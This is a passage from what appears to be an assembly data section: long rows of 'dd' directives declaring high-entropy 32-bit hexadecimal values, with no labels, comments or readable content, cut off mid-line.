0B9A07BFFh dd 6DC517Dh, 83B32251h, 0E770EEEFh, 9C201794h, 0EE7EFD08h dd 0A531133Bh, 7E42F7C1h, 0F984843Ah, 0FF0A0035h, 4661742Dh dd 679FDDC7h, 924ED9CCh, 8A8B6AFCh, 0D3BA5DBCh, 88DC8B4Eh dd 49362789h, 0BC2FFC97h, 4FAED9A9h, 4A80563Ah, 0BC542173h dd 1571AA87h, 4ACD7608h, 843B63Bh, 2F6A0913h, 0B4994A78h dd 3BA1E688h, 22A78F6h, 0F3D1CAFBh, 0C0AB46E0h, 76ADC716h dd 43F096B6h, 0C960BF53h, 6F3C8973h, 0ECD0FC31h, 0A5CA3FB2h dd 0D32E9FEFh, 2A99E967h, 0C3701FE2h, 51EE05FBh, 0CEF647EFh dd 0E209FF3Ch, 56AEFE0Ch, 3FCC68EEh, 0F789AED8h, 28FF8416h dd 7261B668h, 0A3D680EFh, 5C75C01Bh, 0FFC8B9D8h, 0D10E1114h dd 7E3F96E1h, 0D6E54BFCh, 7469E9AFh, 2B19462Eh, 2E38E99Ch dd 0A3E469F8h, 0A7008AA1h, 0B6549C4h, 956764F2h, 0FE88D37Eh dd 21945070h, 0DFAF0E56h, 0B41DF48h, 0D840B341h, 0FF8758CBh dd 9EBEADA6h, 0B6B0ACE8h, 0C43D2E5Ah, 0E58B4ADAh, 0C6AEAA5h dd 1314DB4Eh, 0CB8825A3h, 3DC54072h, 0A00A9F43h, 5645F6A8h dd 38879C77h, 0B2B97006h, 0BAD28564h, 8B3C813Fh, 0CF087E38h dd 0A56B0D12h, 7DC55713h, 2BBCB253h, 0AA682BD4h, 2756CCFh dd 8C804529h, 83ACCCF1h, 41A57DE2h, 5BEC2628h, 1CFC9522h dd 26FEA1C2h, 0D2CFBDh, 0BD814015h, 19BE042h, 0C5159636h dd 62DE6890h, 0E905EC33h, 1C65465Fh, 0E9EDAB69h, 99E2CE24h dd 7A0201Ch, 0A6DF6A14h, 8A8A9F97h, 7A1BA31Bh, 0E756ED35h dd 0A7AFFF6Ah, 790B1431h, 6B0C3D49h, 8BF562F6h, 0D52E34AAh dd 1DB2D5C3h, 0DC45F302h, 9AB08FC6h, 0C0BF1AA5h, 0E5764015h dd 16AD509Bh, 0D6D0571Dh, 2658E202h, 9F407C9Eh, 0C5A7C35Fh dd 0E5DEE1BEh, 0AC8CE65Ah, 0B9154665h, 9899B831h, 104D8148h dd 4884DCDDh, 0ED2F296h, 2DEB7CE1h, 38F8C42Dh, 14C97DB9h dd 2507FD25h, 5DEDA0ABh, 0F7A3CFC5h, 1AAD2A47h, 14750E9h dd 0E5223EE9h, 0AB8BCA74h, 0F7661F74h, 33D257B6h, 8DDB26FAh dd 1C3D71B9h, 0C33A8314h, 58E01492h, 67BA9F0Eh, 7207F842h dd 0CB21C0C7h, 0B4EF38B1h, 5E1DFB87h, 35981017h, 705ECBFEh dd 14BDFF3Ch, 667A750Bh, 758B273Eh, 13D979AAh, 0F6289279h dd 407DD597h, 0EB03F298h, 0A988761Fh, 0CFD198EFh, 0EB301D8Fh dd 0C4EBA061h, 0EC66E352h, 4B1ACFA0h, 0F02829Dh, 511EB49Ch dd 490B3176h, 52D4488Bh, 0DB6DCF0Eh, 900FDC87h, 0FE34C0D9h dd 16C7B157h, 0DFF43965h, 95C981F0h, 0A14D55FFh, 0B5DB33D5h dd 317A9158h, 0DBCDF350h, 6FDF838Ah, 4401F15h, 4E8ACAC3h dd 0F1BE1A38h, 2C660B08h, 6A239DE8h, 0FB1AF3D6h, 21AE9DB6h dd 0A6F8F339h, 9708221Bh, 4DFD42FCh, 29A2924Eh, 250A4C79h dd 0DF85A46h, 92550E3Ah, 3683D3CDh, 0A20D1F7Eh, 72E3C03Fh dd 513A2624h, 9EB1B95Eh, 0ACF82DFAh, 7EB6F006h, 0A5A4FEB0h dd 23B525F1h, 550553EBh, 41A4A4F3h, 877559A4h, 89C4BDE4h dd 3BB35475h, 0A9C2BA3Ah, 37A4389Ah, 8245395Fh, 1B65263Eh dd 672E53D8h, 626C58AFh, 0B7C42567h, 0FD156EAEh, 0BDDB946Eh dd 7B6CE401h, 62F4AB5Ah, 1985D699h, 551FE57Fh, 5223E81Dh dd 0F2356718h, 0DACC222Ah, 53F0A335h, 9F6372FDh, 5B7BEC7Ch dd 8EC95F17h, 0E9D40917h, 0F91DE6A9h, 0B8771CEDh, 0C4645204h dd 0AC47B7FFh, 8FD77446h, 0F87BF3DBh, 18ADECC0h, 1769ACF0h dd 0CEC891EBh, 1ED55D86h, 7874AB30h, 0A599918Ah, 0D3AE4FFCh dd 342F1F6Ch, 5D1338DEh, 4D541859h, 0E23B9A5Ch, 2D686983h dd 820CCC9Ch, 751A48B6h, 30D27FFh, 2D57AD61h, 0B55D0B6h dd 0B9C36F0Bh, 8F12E413h, 5D29A36h, 81E4FE41h, 0C3C49E4Ch dd 860C0B07h, 9D505537h, 0BA0BD5A8h, 0F28AB7BBh, 1D2802ABh dd 0AA89D7C1h, 63F6F7DAh, 3697FD41h, 2909072Ah, 0CFCDF64Fh dd 0E6C9AC8Ch, 3BB14FA2h, 264C9194h, 6D51C162h, 9B298CA0h dd 0A00DF361h, 84A4D900h, 1FE2B996h, 46DE742h, 42080F1Fh dd 0C3DD6C62h, 0B7D4FCF4h, 9523F9CFh, 0A47B156Ch, 0DBB51AF3h dd 0DC94F7F6h, 4549B527h dd 98E1F43Ch, 6E8F105Fh, 667CE583h, 6717965Bh, 0E2C80DFDh dd 5C0FD78Bh, 3B7A7682h, 980401EDh, 577DA0E9h, 0E569770Ah dd 90018925h, 0F898F42Fh, 32E3CB2Ah, 0B931CBAh, 723BE4B6h dd 0D9544C65h, 702799B6h, 0AE3D6EEh, 8CFC7177h, 0F14A6D5Dh dd 0B6B49C55h, 0FA488AF7h, 6ECB7F7Eh, 93F1B0BBh, 6F9755B8h dd 142A9EABh, 0FA53D7B6h, 0EE3FC3A6h, 0E34EC008h, 0B4BA1614h dd 7BFD0EBDh, 0C8FF88DAh, 0C47ABA42h, 0B5370585h, 0D953DC54h dd 325247h, 3BCB3415h, 8D491660h, 178F6B47h, 9DB6FEB1h dd 0F3A01036h, 0FED9B09Ah, 7DD2755Bh, 0B06DCB0Eh, 8AC43EB3h dd 0C5D307F6h, 6D25D45Ah, 7BDC7FAFh, 4F2A59Ah, 0D84BF240h dd 55A311F2h, 0C7AC6A61h, 84CB4E5Eh, 9A44F337h, 2C2A51B3h dd 0EC540433h, 9A585EF8h, 624E1722h, 63EB4455h, 69DADC0Fh dd 6034AFEDh, 0CB72E4C5h, 0A5E28E43h, 0B44FB492h, 445A5E1h dd 53A07523h, 4E51E84Bh, 45842166h, 0AE37127Eh, 0CCF47789h dd 80A1194Bh, 373BF47h, 2F3F14Dh, 65A6B3Ch, 1F78FE5Ch dd 30D574E2h, 5E0529D4h, 7834B8F4h, 74208CA6h, 20DE2630h dd 0A4E8BDh, 0AE102904h, 6600CB6Ch, 76510B0Dh, 0A73440C0h dd 7BA81B29h, 5FD364C6h, 0E1B98B41h, 0EC25C621h, 0EB3EEC44h dd 0E78F893Ch, 5B6EBD31h, 0E6C0E8C3h, 0B449EAC2h, 0F2A3FF4Bh dd 823DED7Ch, 720B5DC2h, 0CCDF7B9Fh, 0FB0C9E6Bh, 131BE817h dd 0AF9ADAD0h, 0A7EC23BCh, 35E1CE18h, 0FFD82306h, 0D78D6929h dd 63E6A29Bh, 0F37BDC16h, 0C7D55D49h, 96B3FBBBh, 0C60AA88Bh dd 17E38AAFh, 4492EA0Dh, 687FC3EEh, 852E96C1h, 0CD59F729h dd 0C3E84C58h, 0B3B59F3Ch, 3CCDDAE4h, 2F53E614h, 0BD82DA7h dd 0F6DD8ACAh, 0BC6846C3h, 4DAA24F5h, 8DA95570h, 4C5E4F7Bh dd 4A0CB338h, 0E7D41962h, 7F252216h, 1BB2C3AEh, 32E6FC49h dd 0AABEEFBh, 0F4FFDAE5h, 0C4F48E21h, 3748E755h, 20B9371Fh dd 0E218BDC9h, 3CABB035h, 66E12BC4h, 0AB601CECh, 0D1E1754Bh dd 0CC5BBEE3h, 681A60F3h, 511DFA71h, 0CE5E9CA1h, 0ABC6AE90h dd 0E3E2B8D8h, 0DA5DE7E2h, 5D73BBABh, 6DDF0FA5h, 65A8D557h dd 186C70F4h, 1AB7CD78h, 2CBFB1ADh, 9BB2F2E1h, 371B024Eh dd 2CE0A029h, 2647C3CBh, 7EB1A9C0h, 74101B67h, 5D8D5B5Ah dd 7D4653B3h, 2AA5ABD3h, 0C4A65CF8h, 42463FEFh, 0F47BE9C1h dd 63237357h, 0DE528083h, 0DD80C5Ah, 8DC68ED0h, 20955A8Ah dd 4539659Bh, 0D4657922h, 4BC4AEB3h, 51090858h, 8555E967h dd 97DC82F1h, 9D2FDD31h, 4E2B6E8Bh, 3FCAE294h, 0BB5FF93h dd 75C37DF2h, 0BAF9E4B6h, 3A4D6E35h, 9B7C0FE1h, 8DD261ADh dd 0D56ACA08h, 4B4FDCD4h, 0A1774D37h, 0D27B2298h, 0C938197Fh dd 797AF567h, 31B1CEA0h, 0EBA4CCC6h, 751D24BCh, 0BAEF221Fh dd 1F5E5E48h, 88002AC7h, 0FA6AE026h, 0E75A5D6h, 3EDA2592h dd 399F0F62h, 6E5BA3C7h, 69A98019h, 8B2EA8D8h, 106780F3h dd 50E6905Bh, 0C18A0276h, 0A470A35Eh, 33829CAFh, 0C996FB3h dd 0F64F77BEh, 623ADDF1h, 798276B9h, 5082D49Ah, 9B519126h dd 690B3EBBh, 0ADEE6843h, 5B01ED04h, 61DCAF40h, 8809D898h dd 0D6B56FA4h, 2650F5D3h, 0FA74CC51h, 0DA35BA9Dh, 34A7EF7Ch dd 0AA6BB3C2h, 3F327E18h, 0BBDC5874h, 9956CCC9h, 0E64E663Fh dd 2B0D66F1h, 0E94C0C34h, 0DDFC758Dh, 906C3E3Dh, 3B3CBB27h dd 454820D2h, 42715E53h, 79D1F29h, 0BFF05739h, 818E1890h dd 7933B7CCh, 0E9F4E9CCh, 0B441D7E3h, 468DA461h, 98D4FB57h dd 0B8A4C4CDh, 85DD778Fh, 0CB1C2501h, 4974D4F2h, 4A193E8Bh dd 9D9DDF43h, 43C34467h, 9E11AA78h, 0EC761471h, 34258CCBh dd 1BF7FD6h, 67DE428Eh, 9534FF6Ch, 0D531C47Fh, 8EA6859h dd 99C0D7DFh, 0FFF534F5h, 469430F2h, 5C2E650h, 24A639D4h dd 0C08A82BAh, 0CF1BC0E0h, 4FED4387h, 7B1ACBC8h, 1825C9C2h dd 0A49EC5A0h, 3DAF15AEh, 95145ADFh, 0C5A6AE1Fh, 0E52F9B67h dd 0A69622D9h, 884C757Fh, 0CAFF045Ch, 33620F0Ch, 645EE207h dd 456B2095h, 48B5FF06h, 0E604F3E4h, 5EDED3C4h, 0E4B1C68Bh dd 0D949C660h, 5B503D9Bh, 3CA13F80h, 0BB9D8C4Ch, 2562A484h dd 0AA55EBF0h, 3A7189A4h, 0CA24DC48h, 0CAD88B05h, 8E7DD6E0h dd 1978524Dh, 28E28068h, 0C2B97BC6h, 881C3320h, 0A731513Ch dd 0F5503CFCh, 0F08C8BCDh, 7961E70Bh, 0D52748Ch, 4568955Ah dd 993A47h, 7D8D5BE8h, 0E06663DEh, 6D8F2B49h, 90109424h dd 7D79792Ah, 0C5D3D419h, 7B183D47h, 0AD21B59Ch, 22093748h dd 526DEAB3h, 7C4D9B7Bh, 781A0B1Dh, 0F88133D9h, 0E4C6503h dd 0EA5F70BAh, 0F18CBE88h, 0DD199A4h, 67EEF569h, 8C17F242h dd 83DD3E4Dh, 273EDB11h, 0F360679Bh, 452EE38h, 27CA9A03h dd 3E62CF8Dh, 0C31FF975h, 56D7FCD3h, 7346D06Bh, 0E96F5D5Fh dd 0C340812Eh, 0A1553A3Eh, 5F63D901h, 72DC5CE3h, 824AE982h dd 0CC9DED3Fh, 728E7B4Ch, 48B2ED88h, 0F4126D80h, 6CD898A8h dd 0B07EDCDh, 0C5233BC4h, 0D5A7BA8Dh, 7A58422Ch, 42A2645Bh dd 0DF57FA1Bh, 0DAB58BFEh, 0FEEFEB3Ah, 0BFD79508h, 0A69F07EEh dd 0F6B2AE1Ch, 7BBF726Fh, 59FE5D1Fh, 44119080h, 2AA670A7h dd 8F9388B5h, 0F6A045E4h, 0E5012B89h, 72D408B1h, 7FF74126h dd 51AD0FD8h, 5A560D31h, 90D54AA9h, 34EAFF0h, 1954A0C6h dd 0E89393DDh, 25B6C9B4h, 15ADF483h, 40DDFA38h, 0A06DA5F1h dd 0EC07A9A8h, 311348A7h, 6BA590E8h, 137FA40Bh, 0C23C6CF4h dd 0F6218F1Bh, 0A27DB8DAh, 7E342F8Ah, 9505AB94h, 0CE61C55Dh dd 0ED80AF0Ch, 86A95650h, 8BAB6192h, 0DF6AB9Bh, 733DC3CAh dd 4D8969E6h, 6275F6D8h, 0E2D8C459h, 7E32B201h, 77E9AFE8h dd 2CC0F60h, 676DC65Ch, 0B8B349C7h, 0BBE54CC6h, 16C75FE7h dd 0E18B91BCh, 0A3D760DCh, 8BEB9C9Fh, 93D0B32h, 7D0BCD79h dd 0B4B095DEh, 330D6DDCh, 7AE0DE06h, 7D3A42B9h, 0E54DFD59h dd 357CDCAh, 0FE458D3Fh, 272066h, 0FCE50BA5h, 0A5A68B8Ch dd 92B2A13h, 0E42BF9B6h, 0DA5BF021h, 4744FA01h, 1ED41EDCh dd 0AE4A6ADDh, 55304BC8h, 81A16AB4h, 0E94DCFA1h, 55E98AD8h dd 1F3846C1h, 0E68B6D46h, 0ED2D5F75h, 6D4CB5A6h, 44386C58h dd 0B992EC76h, 8148FB18h, 0E534684h, 8944FE86h, 8214802h dd 0D9C1ED06h, 3DDDB80h, 7AF4CB3Bh, 0E11527D7h, 0D001FC85h dd 1D1AB8ABh, 0F96B4A08h, 0E3579367h, 9F690E3Ah, 2E16E0F9h dd 0CA91A5AEh, 495B3CD7h, 0C62CD253h, 67BA44C7h, 0A07093Dh dd 0BDD7C774h, 5E5D80E2h, 0BB93BFF7h, 8C3B5F97h, 684A0038h dd 0B515AF53h, 3E7E0A6Fh, 0FFFFD2BEh, 1ED9BBE5h, 3F054A61h dd 0D1EAAE44h, 560DBDBDh, 0FA09129Ah, 0DCF017A7h, 98990Bh dd 0D3ACD6D5h, 86B5B32Fh, 57F24DB4h, 0B395518Ch, 0E0D830Fh dd 72B4B96Ch, 9FB7E9Dh, 55B726DFh, 0D8D9C43Ah, 6710DFF2h dd 87731832h, 1CAB45EDh, 0D270A47Eh, 4DB6729Eh, 0B0B659BFh dd 504B7A87h, 726BA503h, 0CF5639B5h, 23B6368h, 1BEE6B4Ch dd 6569A4DEh, 18DDB006h, 0C24F828Ah, 0CFB8449Ah, 0B9981D92h dd 27CB1BBAh, 0B948770h, 0CC784038h, 77D87B1Ch, 0A6B1A913h dd 363AA266h, 2A14EAE9h, 0E3D028DBh, 1F5B01h, 15CF2F99h dd 59752C4Dh, 3EAB909Fh, 0BABA4D00h, 689A68B6h, 371B5526h dd 139FE92Eh, 21BC60FCh, 0DC962459h, 0F50546F5h, 3DA82077h dd 0D0EDE4CFh, 51BF9074h dd 38BE902Eh, 4167DBD5h, 6992B278h, 0B9560581h, 0ED93844h dd 788ED9D3h, 2DAC2F9Fh, 91279A60h, 0BB73AE44h, 2C7EA47Ah dd 6423E457h, 3799D2D5h, 0FC9081D3h, 237AB7B2h, 9C072A7Ch dd 35780B26h, 38E1F13Dh, 2E35586Bh, 9300DBB3h, 29F78F28h dd 7E6DF5DDh, 996EF65Ah, 279320B1h, 66160478h, 0FDCC4D8Ch dd 580B1ADBh, 0A27258DAh, 0A222EB6h, 5E3D18FBh, 0DCBDEDB4h dd 0D727F2F6h, 0C9F542D0h, 5024E175h, 2E2F0C68h, 668D515h dd 7DFC8814h, 800434A2h, 0C1F70072h, 81576BBh, 23EE0637h dd 3D129DC4h, 7693075h, 17B31735h, 0F8DDE607h, 6924AFB8h dd 9A30CBE7h, 0D54E464Ah, 336D43B3h, 5C07106Ah, 0A69D68F5h dd 16DD0A4Dh, 0EFE9A8A4h, 858DDB9Ah, 0B48767D9h, 6DB25B89h dd 86996863h, 3D2319A6h, 345C03FAh, 623967BBh, 0A7E8AA99h dd 90B47350h, 0C3623A25h, 31A78896h, 3447A4D9h, 51C057FEh dd 994F3C4Ch, 0EE92F7FAh, 0C03B9A31h, 0B9D3E167h, 741C3F02h dd 0AF447D5Eh, 0CDBD9828h, 0E57E2313h, 6349F807h, 8DC27FB0h dd 0D935D3AEh, 90442B6h, 0F9DA7962h, 965F4610h, 46860144h dd 0F0AD8B7Ah, 0DE52A5C1h, 6CEE164Bh, 956BEFD5h, 0AC26C336h dd 7BF4F737h, 0A8E87E14h, 9E499076h, 0D0DC4557h, 69912B78h dd 0C3911711h, 84A67A8Dh, 0FDC04C28h, 0D5BD0EC2h, 65CFA73Bh dd 0C0129229h, 48016AE9h, 3E91409Ch, 90A74AD1h, 9FA2DCB4h dd 0F2E3D67h, 848AB3FCh, 0CB745EDBh, 0F92328DCh, 327E0C34h dd 0A5DB902Ch, 0D72FEDBDh, 0A639BC05h, 0DD92341h, 49BD3BBFh dd 6DA6606Dh, 0C1B77F6Bh, 0D930769Eh, 0A0DEFADFh, 2DF5783Fh dd 0A6C140DAh, 368F96C3h, 0B09DA342h, 0FF137E6Bh, 835EF153h dd 9A862500h, 2EEB6F66h, 3A5C5A7Bh, 6460C821h, 0B715D511h dd 315CF8D2h, 0A9E9AA12h, 0E8EA86DEh, 0C2D47A53h, 74E1569Dh dd 0E34B57D8h, 2798E37Ch, 0C490F84Fh, 0D4760B6Ah, 7AA8984h dd 0E0E35603h, 0D26702A2h, 77B43EAFh, 0CFB09346h, 0F580EB59h dd 0BC2135F5h, 0C46DF166h, 0DE3347EFh, 67B1CF5Fh, 0E5D74D9Eh dd 0E9D23E26h, 0A3832368h, 0C3A56BFAh, 7EBDFAC3h, 18D74494h dd 0A6EFBB67h, 0C2131E4Ch, 0C8379295h, 62B683h, 0DAEFA463h dd 148EEFC8h, 6EF1377Fh, 255EF3A3h, 33EE32B0h, 1ACAF9E4h dd 63D789ACh, 0CB72089Dh, 0EC427768h, 0B3118F26h, 0F0FC00F0h dd 2A183AF4h, 0C4B5D743h, 677D6F43h, 0E2577D58h, 12CA7B2Dh dd 2BAAF1F3h, 7CC1AE61h, 0DE9E8DD6h, 76182ABCh, 7DD73D87h dd 12C760EFh, 0A0295AD8h, 132E311Ch, 78C825FAh, 0F76A815Ah dd 0F24BF2A3h, 9B2A6E33h, 98D8540Fh, 1F337531h, 699B590Dh dd 0FC8DB481h, 0A1577C6Fh, 9E53F480h, 55BD0435h, 131735EBh dd 3C5E9E9Ch, 68CF4A2Bh, 6B05C810h, 0D17F1967h, 6F33DBCAh dd 0C29159B9h, 4F1EDCFCh, 629B8A90h, 140525A2h, 0F520ECFDh dd 38FBCFD4h, 1536706Dh, 0B206D85Eh, 827C5F9Bh, 60D83712h dd 0CF97830h, 0E1E11B37h, 3C7B1505h, 51EE06B6h, 0F8D0A5D4h dd 5D4E9E6h, 0F064AE9Ah, 3BA39F22h, 44F53DDEh, 0D45F3420h dd 4AE4BEA9h, 45791EDFh, 3DB0C62Ah, 0AC65EE54h, 0D3A3351Ch dd 0A3379BE7h, 73742C54h, 29B67D97h, 0BC42BA85h, 0EC1416FCh dd 16071124h, 6FD2E7FAh, 0FF4D025Fh, 79E7919Ah, 0FEE0F09Eh dd 0C2802D5Fh, 0F60217E1h, 21EEEDA5h, 0F7A31787h, 5837D825h dd 54D2D49Eh, 0D4B97F04h, 0D5063E0Eh, 10C80939h, 6E673A10h dd 9EAD1A4Ah, 0A68A5EF1h, 98E1478h, 0AE40DD4Ch, 2CB1F3DFh dd 0A8E4B6E7h, 68AA5934h, 0C8F943D5h, 5D24EC61h, 2A50A888h dd 0DEC1ECCAh, 0C58AEF3Fh, 0CB23FB64h, 7305C781h, 0C97577E3h dd 23B220E3h, 0FD12AEFCh, 3FFBD172h, 17BE7BBFh, 0B05D3B39h dd 2117C77Bh, 0C134A331h, 0A6840E95h, 33DC1FE7h, 0F4C07601h dd 0DE673224h, 1E65A560h, 48CC9B65h, 74258076h, 0BC3A956Dh dd 7743974Ch, 552EFC71h, 0CD4AF326h, 12D79FA2h, 0D12E7A3Bh dd 0E858064Eh, 0E4768F66h, 116D0DC7h, 0BA9837ADh, 91DC7169h dd 0D451DC6Eh, 6AC9332h, 8610B71Ch, 0A4DBF309h, 9B8B55FCh dd 0B8B7C6Dh, 0C0A5FD94h, 17622FCAh, 2E2CE91Eh, 7CEDC2CCh dd 7ECA68FCh, 80D5B697h, 94562E39h, 0B7187BCEh, 470B6316h dd 639948C9h, 0B5ADAF2h, 0E1F1512h, 227346A6h, 57301B1Dh dd 644EEFA4h, 1CE6D786h, 389215A2h, 0EED10464h, 0C164F5B9h dd 8035F734h, 7395EC02h, 96406F31h, 6CDB4C2Eh, 24B593DDh dd 0F0644AD1h, 2AB3A360h, 7EE142ACh, 4A6B1E5Ch, 46AB397Ah dd 44C9CF2Eh, 0A4174663h, 7B7DC22Fh, 1DBF797Dh, 0F56AAE20h dd 0B959A36Bh, 0A24E99F0h, 0FBA392B4h, 0ADC9898Bh, 0C12DFA5Bh dd 861CF046h, 0DC6C969Eh, 722F5F82h, 0C868638Bh, 2C0602DEh dd 29B340D6h, 22E0B927h, 0E9C605D9h, 0E3F1A141h, 13607601h dd 59FF3BE5h, 92BEDFAh, 1448B651h, 99E40073h, 28C9F29Dh dd 0A554649h, 3904E44Dh, 9492126Dh, 0B702F500h, 31BEE35Dh dd 2C963A0Ah, 318F7C92h, 4ECD1925h, 0A07E9C83h, 302CD328h dd 0D6BEE60Dh, 9CF979AFh, 0FF0C9C91h, 0E67E01E4h, 3936C915h dd 77A5571Bh, 58F1ADFh, 0E977E371h, 93AB400h, 0F5A32C97h dd 7575515Dh, 5374A0F3h, 59A6744Dh, 0B76F8BBh, 0F1C14FEh dd 94FACD8Eh, 0B1FC2DA6h, 0AB4E2876h, 0B5794CB4h, 8822D700h dd 783F1ACBh, 0EAF80375h, 5EEE5CB8h, 0CA7DF49Eh, 0FF94F0FCh dd 41C73EC6h, 0C848FDC5h, 9D4C7B47h, 52241293h, 85D050F1h dd 0FDB56EB4h, 0DE2983C1h, 0E077C775h, 7F5CB745h, 0F79CCCCCh dd 31287AB9h, 2BF8EEBFh, 4B3086E3h, 93A109A5h, 696F6094h dd 98A72FDAh, 19866AFBh, 61E6619Fh, 0D5A8FA10h, 4EC65DA3h dd 0EDB2D79Bh, 0F8982FB7h, 10C22593h, 31EC3D61h, 0BDAF0D42h dd 0AC432CE8h, 39B23F87h, 14398836h, 0C62C905Fh, 0EB7EA630h dd 1B2E247Eh, 5BD2C1DBh, 0A2254F44h, 0E1141949h, 97B5CC77h dd 66ABEB13h, 9DD88F9Ah, 77497EF8h, 8FADE34Fh, 0EA3361C1h dd 0D91AD05Eh, 2948F371h, 9A4662BFh, 6EABDBC3h, 8C99EDC8h dd 3F3D57F4h, 0B1C074A6h, 0A5C0B401h, 5E645155h, 9249306h dd 8F2583C3h, 92DDEB0Ch, 174FDE3Bh, 6F5AD64Ah, 6B18F63Ch dd 0A3EDD5B5h, 12D7C826h, 0F05689CCh, 5D1B7E59h, 9ECCBEF4h dd 0B74FEF4Bh, 324AB4D7h, 7244E986h, 0F22295A8h, 0D1F391F4h dd 73A7A7A4h, 8FE00644h, 0DEC4183Ch, 0DF2383E6h, 20D8B115h dd 77C4C57Eh, 395297DDh, 438F34h, 4FE2322Dh, 0A5479E63h dd 49D561B6h, 97E5F756h, 9273858h, 96CA412h, 2C8A070Dh dd 7DBAAD3Bh, 7CBDADBDh, 73352400h, 8D33A3A4h, 0C2F40494h dd 0C4EAFA32h, 0BCC560A9h, 6522B0C0h, 631AF408h, 6FC36777h dd 6B178FAh, 0E37B5529h, 193FAC8Bh, 5C05D8A9h, 0AC1B1F1Bh dd 4D26EDD0h, 0DDBDE1F2h, 4A7B2387h, 4553B85Eh, 50A8686Dh dd 8E0A22DBh, 5CC549C7h, 0B954070Bh, 0EFAE0A34h, 12AC3086h dd 9E86870Ch, 0FBF4E195h, 0C5DEFF5Ah, 28A1908Ch, 0DB12F9E0h dd 0CF9A072Fh, 2D20B6E2h, 8A55C3B3h, 569D5A32h, 54B2C651h dd 9BE72A84h, 0E90558A4h, 88692252h, 0B853102Ch, 0B63DD1F3h dd 0AD2CAAC5h, 50226E1Ch, 9F543B53h, 2929FA4Dh, 6CE0583Ch dd 0C2A925D5h, 93B479B1h, 91FD7E10h, 0E1D90F8Bh, 0AEC59DC1h dd 6D2ACB55h, 9E6AE446h, 524CF21Dh, 4FC9DE33h, 0DEB25CF4h dd 83F128D3h, 0C499A020h dd 0EFCF3A46h, 0E717A75Ch, 0D6FA803Ah, 7DE89E28h, 159DEDB1h dd 68BFEA5Bh, 619FEC17h, 0C5B8B558h, 0C5FFB45Dh, 784810Ch dd 2E667B89h, 0BE3C490Ah, 1D3B070h, 1FE63E34h, 6AA0E65Dh dd 9EA9B9EAh, 0B0884923h, 0F59D8329h, 4EE2BF32h, 8DEB1998h dd 52B56EFBh, 54B5FCCBh, 3AAEC54Bh, 0FAC24D41h, 2D370FF4h dd 5355105Ch, 7319A61Dh, 575BF4Fh, 14939DB6h, 4798A11Ch dd 26FE4806h, 42F35F2Bh, 0F419B054h, 1DABDC3Ch, 0DC20EB47h dd 137D63B0h, 0EF82D17Eh, 0C79B6359h, 37BD9A12h, 798C4A56h dd 17F463F9h, 4AA4DC27h, 0D4BAD657h, 81D65489h, 0FEACD297h dd 0DAFE8B8Ah, 0CC793629h, 0CE2A4EDEh, 0F241DD7h, 0ABE3442Fh dd 0D9E81ECAh, 7E3E69BFh, 0CD6EC566h, 73985E78h, 7051F7E7h dd 0D20981A8h, 0A1C532E1h, 41B237D6h, 987F1B13h, 0CFE5A266h dd 2F24EB01h, 0A950A416h, 2B94C5E6h, 0ABA4A43h, 6FFF776h dd 622C6769h, 559C3BAFh, 0C9996C56h, 641FFA9Dh, 0C8255F34h dd 7F673CABh, 2797153Dh, 167ADC1Bh, 46565725h, 7E43E759h dd 2F77D3E9h, 23841CB0h, 0DF652A2h, 4B435312h, 7CDE59C1h dd 0A02E36CDh, 3A25A35Fh, 1EEDBADFh, 0BB820948h, 0B5AE91D9h dd 0B955946Ah, 0B9C8396Fh, 9D2A00DAh, 9A5A576Dh, 0C8B083B7h dd 0B474C18Ch, 173229E8h, 0C525CFE0h, 4205E1A6h, 0E5001535h dd 0CEC74D2Eh, 714AA3EDh, 4748098Fh, 30480DBFh, 4FFFCF08h dd 9C5EC558h, 7D10FC2Dh, 0B6333213h, 8371675h, 0B1D2A045h dd 0F3CDD071h, 0D61A7E1Fh, 0FA147650h, 0D8CC7386h, 7F62867Fh dd 0F4D43A26h, 0D520F21Eh, 99DFC204h, 46C46A6Bh, 0E6A59E2Ah dd 2C031025h, 0B03E319Bh, 0AA1D71A7h, 7A46E2FBh, 1CB831C1h dd 11E5173Bh, 33FD87DEh, 0BB9EA145h, 8DDFE0E6h, 2C3FB01h dd 742CF080h, 1A65F3A0h, 542931F3h, 0A49326CCh, 0D0260B4h dd 0A6BE6F39h, 0D8449EAEh, 8DE039DCh, 56AE8193h, 83CC0EBEh dd 3AE69122h, 0CD15F928h, 835E3813h, 47949482h, 89B1B503h dd 0D7F6F725h, 1067A678h, 0F0786A6h, 78427409h, 12637413h dd 0CAF7228Ah, 0BADA4ED5h, 16A3069Ah, 53E20EF1h, 94025D62h dd 7ACA778Dh, 0EC567850h, 0D2B0FCEBh, 6C1B0F67h, 0C06EEB46h dd 723BDDDDh, 0AEF2DC13h, 974A5D95h, 5C2EE098h, 16396C31h dd 8AEF62Dh, 37754C8Fh, 1404D29h, 0F392D0CBh, 0ABBF00B5h dd 19F5F100h, 6D0DB821h, 0A0A49AA6h, 660EB5A7h, 0E4A6CC91h dd 688D2553h, 13CF811Ah, 0D6F504CAh, 3217F053h, 7FEDAA1h dd 0F3262002h, 48D0C33Eh, 0C7ECB1FEh, 86BF71DBh, 2786FA5h dd 1528FC2h, 0BC786AEDh, 0D9DEB8B1h, 0EE7BB84Ch, 0BBBEE794h dd 79BA2ED2h, 8CAE906Bh, 8728FF6Fh, 0FA04984h, 6126DDD3h dd 0B613E6F7h, 0F3011B68h, 12B87598h, 55228757h, 0A271F7DBh dd 16C02F00h, 70A59984h, 1C46CC92h, 35B64EB6h, 0EFD8FEB4h dd 9F07048Eh, 7AF2BC4Eh, 2FFA3B64h, 0D2AB966Ch, 254E64AFh dd 0DA360A21h, 0C839829Fh, 70FE3340h, 79EFFB81h, 0C4FBEEAh dd 612E05B2h, 0AC295E9h, 19ABFDD3h, 2EBA97B9h, 437B17Ah dd 84ED07D6h, 8106DFBBh, 4212B010h, 773A3313h, 0F780562Dh dd 0F22812AAh, 8D5FC53Ah, 3B121D11h, 8F0D29ABh, 4E4EF160h dd 5D46CACBh, 3AE6D4A4h, 588F1D38h, 2A0C2CF9h, 0A5903048h dd 504DFC32h, 0E4C2586Fh, 245D94C0h, 494168F1h, 0CDA2B9EFh dd 0DC25B549h, 0ADA415A4h, 7CB93E9Ch, 0AF23A619h, 0EBEF23D6h dd 0F7106581h, 8D6027FDh, 0B19EE907h, 0F61A7020h, 0C379333Ah dd 0B3684675h, 8AD41A4Bh, 0D01B8CC3h, 0E557099Ch, 5B571820h dd 3F2BFFC7h, 3534881Dh, 0E1003B74h, 0B4196A86h, 0F63EF71Fh dd 9C0E7665h, 6FA16430h, 802008C6h, 95FC7926h, 10439D31h dd 2615DEC6h, 0B8A1522Fh, 